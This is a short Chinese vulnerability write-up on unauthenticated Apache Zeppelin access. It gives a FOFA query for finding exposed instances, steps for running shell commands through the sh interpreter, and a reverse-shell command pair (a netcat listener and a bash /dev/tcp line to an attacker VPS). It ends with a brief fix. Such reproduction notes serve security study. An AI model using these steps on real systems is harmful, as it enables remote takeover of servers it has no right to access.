Zeppelin未授权访问 getshell

Zeppelin未授权访问 getshell

1.漏洞简介

Apache Zeppelin是一个让交互式数据分析变得可行的基于网页的notebook。Zeppelin提供了数据可视化的框架。

Zeppelin 是一个提供交互数据分析且基于Web的笔记本。方便你做出可数据驱动的、可交互且可协作的精美文档，并且支持多种语言，包括 Scala(使用 Apache Spark)、Python(Apache Spark)、SparkSQL、Hive、Markdown、Shell等等

2.影响范围

fofa语句：title="Zeppelin"

需要有登录的用户为：anonymouse

3.漏洞复现

1.访问URL，首页：

进入首页后，需要已有登录的用户：anonymouse，其他的不可以

2.点击Create new note

在弹出的对话框中将 Default Interpreter 选择为 sh：

3.然后可以输入一些命令，进行执行了

4.反弹shell

先在设置 vps 监听端口，然后在命令输入框中输入 bash 命令进行上线

vps：nc -vlnp 2345

目标中输入：bash -i > /dev/tcp/VPS_IP/端口 <1

这时 vps 上有会话进行连接，成功反弹 shell

4.修复建议

禁止未授权的匿名账户进行访问

参考：Zeppelin未授权访问getshell